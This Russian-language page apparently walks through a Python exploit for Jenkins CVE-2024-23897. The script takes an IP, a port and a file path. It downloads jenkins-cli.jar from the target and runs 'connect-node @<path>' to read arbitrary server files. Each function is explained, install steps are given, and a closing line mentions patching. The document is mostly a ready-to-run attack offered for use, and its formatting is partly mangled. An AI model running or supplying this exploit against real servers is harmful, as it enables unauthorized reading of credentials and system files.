
эксплойт который эксплуатирует Jenkins написанный на Python

параметры ip, puerto, ruta

вывод эксплоита

Панель справки
Вот объяснение кода в Markdown:
Этот скрипт предназначен для эксплуатации конкретной уязвимости в Jenkins (CVE-2024-23897). Он позволяет загрузить JAR-файл с сервера Jenkins и выполнить полезную нагрузку для подключения узла Jenkins. Ниже объясняется каждая часть кода:
import argparse
import requests
import os
import subprocess
import sys
argparse: Для обработки аргументов командной строки.requests: Для выполнения HTTP-запросов.os: Для взаимодействия с операционной системой.subprocess: Для выполнения системных команд.sys: Для взаимодействия с интерпретатором Python.bannerdef banner():
"""
Выводит декоративный баннер для инструмента.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
Эта функция выводит декоративный баннер в начале скрипта.
descargar_jardef descargar_jar(ip, puerto):
"""
Скачивает файл jenkins-cli.jar с указанного сервера Jenkins.
Аргументы:
ip (str): IP-адрес сервера Jenkins.
puerto (str): Порт сервера Jenkins.
Возвращает:
bool: True, если скачивание успешно, иначе False.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] Не удалось скачать файл. Код состояния: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Ошибка при выполнении запроса: {errorhttp}")
return False
Эта функция скачивает файл jenkins-cli.jar с сервера Jenkins, указанного по IP-адресу и порту. Если скачивание успешно, сохраняет файл в систему и возвращает True; в противном случае возвращает False.
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
Выполняет полезную нагрузку для подключения узла Jenkins.
Аргументы:
ip (str): IP-адрес сервера Jenkins.
puerto (str): Порт сервера Jenkins.
ruta (str): Путь для чтения файла.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Ошибка при попытке подключения узла: {error_payload}\n")
Эта функция выполняет команду для подключения узла Jenkins с использованием файла jenkins-cli.jar. После выполнения команды удаляет JAR-файл. Если при выполнении возникает ошибка, выводится сообщение об ошибке.
maindef main():
"""
Главная функция, которая разбирает аргументы и выполняет соответствующие функции.
"""
parser = argparse.ArgumentParser(description="\n[+] Эксплоит для CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] IP-адрес сервера Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Порт сервера Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Путь для чтения файла\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
Главная функция скрипта:
ip, puerto, ruta).banner для вывода баннера.descargar_jar для скачивания JAR-файла.attack_payload для выполнения полезной нагрузки; в противном случае завершает скрипт с кодом выхода 1.if __name__ == '__main__':
main()
Этот блок гарантирует, что функция main выполняется только при прямом запуске скрипта, а не при его импорте как модуля.
Этот скрипт является инструментом для эксплуатации уязвимости в Jenkins. Он скачивает JAR-файл с сервера Jenkins и использует его для выполнения полезной нагрузки, подключающей узел Jenkins. Необходимые аргументы (ip, puerto, ruta) передаются через командную строку.
Вот список необходимых библиотек с командами pip install для каждой:
argparse: Эта библиотека входит в стандартную библиотеку Python, поэтому устанавливать её не нужно.
requests: Для выполнения HTTP-запросов.
pip install requests
os: Эта библиотека входит в стандартную библиотеку Python, поэтому устанавливать её не нужно.
subprocess: Эта библиотека входит в стандартную библиотеку Python, поэтому устанавливать её не нужно.
sys: Эта библиотека входит в стандартную библиотеку Python, поэтому устанавливать её не нужно.
pip install requests
@/ruta/del/archivo.@/ruta/del/archivo и заменяет этот аргумент содержимым указанного файла.Обновление и правильная настройка Jenkins имеют решающее значение для защиты системы от этой уязвимости.